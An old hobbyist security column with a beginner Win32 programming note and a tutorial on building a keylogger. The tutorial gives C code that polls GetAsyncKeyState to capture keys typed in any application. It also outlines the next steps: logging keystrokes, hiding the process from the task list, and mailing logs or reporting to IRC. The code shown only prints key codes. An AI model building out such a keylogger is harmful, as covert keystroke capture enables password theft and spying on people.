DISCLAIMER : [Insert the biggest, most comprehensive lawyerspeak here]. Securitywriters.org (SWG) or the author(s) are NOT RESPONSIBLE for anything that happens to you, ur cat, dog, sexlife or wife after you go through the information presented below. Enjoy.

Contents

• Notes on Windows Programming
  
  { Notes : A launch pad for Win32, would deviate in the future to lot of grey topics :-) }
  { Contrib : Hitchhiker }
  

• Advanced Meal
  
  { Notes : Case Study - A keylogger in an API }
  { Contrib : Ayan Chakrabarti }
  

Editorial

[March]

I had been thinking on how to keep myself sane during these times. Usually when u feel that lot of things are out of your control, you should just concentrate on things which you can change. I've decided to start this column after seeing how it will help me keep my own perspective on things.

Generally this would be a more suitable format for me to contribute, as it will feature weekly or at the max monthly updates on whatever new thing I play around with. It would also get me a chance to learn from the great people who have become my friends and gurus :).

Contribute! Learn! Discuss!

Contact:
You're invited to send in your entries, comments et.al for publication to hwcol@arunkoshy.cjb.net

Hot Topics (but definitely not restricted to):
algorithms, stuff related to systems programming and applied network security.

Style:
SWG advocates a "hands-on" approach .. Get to the code or point. Provide references and links if necessary (especially if you're presenting a fresh perspective on something already known).

Notes on Windows Programming
By Arun Darlie Koshy

Over the past few months, I've been glad to notice people asking questions about assemblers, systems level programming.We love to talk about how systems utilities, malware and "elite" programs are written or how they affect our lives. But a few people wish to move beyond the buzz and do their own thing.

This is my small coin in the pot. First of all let's get our tools. I assume you're broke like me and don't want to buy anything even when developing for Windoze.

Incase you do have money, It would be excellent if you get a copy of Charles Petzold's Programming Windows (5th Ed), I had brought the book and it also had an electronic version on the CD. I would have put it up for download but then it feels like you're disrespecting a good teacher. Someone should request to Mr.Charles to release it free for people or you can find a friend who has the book.

Here's what we need :

Our C/C++ Tool

• http://www.borland.com/bcppbuilder/freecompiler/

Some docs to help you out with the install :

• http://community.borland.com/article/0,1410,21205,00.html

• http://www.pharo.onlinehome.de/Bcc55.html

Assembler

• http://www.win32asm.cjb.net (Make sure you download Iczelion's tutorials, the MASM pack)

Let's now start with a simple hello world program for Windows :

/* Hello.c - the nth version in the history of humankind */

#include <windows.h>

int WINAPI WinMain ()

{
  MessageBox(NULL,"War Sucks","This is my message..",MB_OK);
    return 0;
}

This looks as simple as the K&R example. Build it by "bcc32 -tW -5 hello.c". Let's now take it apart :

1. windows.h - you can think of this as a master include file, something like ur stdio.h

2. WinMain() is the windows equivalent of main() and it also has some parameters which need to be passed (like argc,argv)
but we won't deal with it till we learn more.

3. WINAPI ia a directive to the compiler. Fire up your bcc55\include\windef.h and search for the string "WINAPI" .. it throws up the following (important) matches :

#define APIENTRY WINAPI
#define WINAPI __stdcall

Basically __stdcall is a type of "calling convention" and is most widely used for Win32 API functions. To understand the whole story, we would need to dip a bit into the program's equivalent assembler code .. at present, just keep the following in ur mind :

• APIENTRY and WINAPI mean the same thing
  
  
• arguments are passed from right to left (eg. foo(int x, int y) -> y would be put in stack first, then x)
  
  
• the called function is reponsible for its own stack (i.e it pops its own arguments, balances the SP)

Refer and read :

• Iczelion's "Tutorial 1 : The Basics" (you should have downloaded the tutes by now!)
  
  
• Calling conventions demystified by Nemanja Trifunovic

4. The MessageBox() API .. now we come to the meat of the program .. our printf() equivalent in this world.. check your MSDN documentation or this link

From that we understand that we are making a "MessageBox" component with NULL as its hWnd, "War Sucks" (a string) as the text in the messagebox and "This is my message.." as the caption, and "MB_OK" (defined in the headers) so that the
box gets it's "OK" button. The rest of the program should be self-explanatory.

While in the Win32 world, get ready to deal with :

• a ton of baggage/conventions
• many interesting "features"
• you can see OOP in action
• many unheard constructs, language features which are never used in the commandline world are applied
• you need to understand the architecture and concepts like how the OS "messages" your program

Tips

• Always have MSDN with you for ready reference
• check the header files for more details

You may require to refresh your concepts about pointers to functions, here's a small program to help you

#include <iostream.h>

void xi(void)
{
  cout << "\nI am the function which is pointed to :-)";
}

void main()
{
  void (*xir) (void);         //if it's void * xir , the precedence would casue a problem hence the brackets
  xir=xi;                          //the address can be simply found by referering without the (), just like an array's address 
  xir();
}

The use of these become clear when you deal with stuff like WNDCLASS. This is also a good time to a quick refresh of your C basics. We've only started .. watch this space.

Advanced Meal - A keylogger in an API
By Ayan Chakrabarti

Many people are curious to learn about how a keylogger works. Here's Ayan trying to explain :

During the MS-DOS era, making a keylogger involved serious low-level programming. We had to hook the keyboard device interrupt, redirect it to our own handler, log each key and finally call the original handler. The official way to log keystrokes in windows is something similar, involving system wide hooks and what not.

Thanks to our friends at Redmond, there's an easier way - a much easier way... infact amazing

Enter the GetAsyncKeyState API. It's is a pretty useful function as far as keyloggers are concerned (infact, its difficult to imagine what other possible use it could have). Simply put, you pass a keycode and it'll return whether that key has been pressed since the last call to the function.

Yup, that's right. With this function you can keep track of any key pressed in any application running on the system. Ok, enough theory. Lets take a look at the anatomy of a keylogger and how this project will evolve :

• continously keep calling GetAsyncKeyState with all different keycodes to keep track of which keys are pressed.
  
  
• then store the keystrokes in a file.
  
  
• ensure that all this is done without loss in system performance
  
  
• the keylogger process should not be visible in the tasklist
  
  
• another good feature would be to be able to mail the log files or announce a control unit on irc ;-)
  

STEP 1 : Getting to know the logic and basic feel

We will start with the basic shell (i.e the first step mentioned in the process) and I expect you to try and work at it independently.

#include <windows.h>
#include <stdio.h>

unsigned int nlist[] = { 8,9,12,13,19,20,27,32,33,34,35,36,37,38,39,
40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,
57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,
81,82,83,84,85,86,87,88,89,90,91,93,96,97,98,99,100,
101,102,103,104,105,106,107,108,109,110,111,112,113,
114,115,116,117,118,119,120,121,122,123,124,125,126,
127,128,129,130,131,132,133,134,135,144,145,186,187,
188,189,190,191,192,219,220,221,222,223,224,225,226,
227,228,230,233,234,235,236,237,238,239,240,241,242,
243,244,245,246,247,248,249,250,251,252,253,254,0};

void main(void)
{
  int i;

   while(1)
    {
        for(i = 0;nlist[i] != 0;i++)
          {
              if(GetAsyncKeyState(nlist[i]) == -32767)
              break;
           }
        
         if(nlist[i] == 0)
            continue;
         else
            printf("%d ",nlist[i]);
     }
}

Save this as "klog.c" and use "bcc32 kb.c" to generate the EXE. Open up the dos box and run. Now shift the focus off from the window (i.e select any other window or part of ur desktop) and type anything .. it should display the codes generated. This is important because if you type into the klog window, its not going to be displayed for obvious reasons.

You're now staring at the skeleton of a keylogger :). To exit this program, go and select the DOS box again and press CTRL+C

What are we doing here ? Simple ..

• we set up an array of the codes we want to test, set up an endless loop (this is with exit points ... CTRL+C now and later when we move fully to windows mode, we'll use PeekMessage to detect for WM_QUIT Events and improving systems performance)
  
  
• test repeatedly to check if a key has been pressed .. check the documentation of GetAsyncKeyState to know why we're checking against "-32767" to break.
  
  
• we can't print 0 control code (infact if u note the array, we've avoided 0 to 7 as they are system codes) so continue
  
  
• else print the code

Readers are most welcome to indulge in serious discussions but please refrain from :

• asking stupid questions
  
  
• requesting the sources for any of my non-GPL projects (basically if the source's not on my site .. don't ask me for it).

We'll see more next week or so .. till then .. study, learn and enjoy.

PS : You ought to thank Arun for writing such a simple shell and the "step-by-step" approach. He has protected you from the torture I had planned for you, the reader ;-).

All images, content & text (unless other ownership applies) are © copyrighted 2003, Infosecwriters.com. All rights reserved. Comments are property of the respective posters.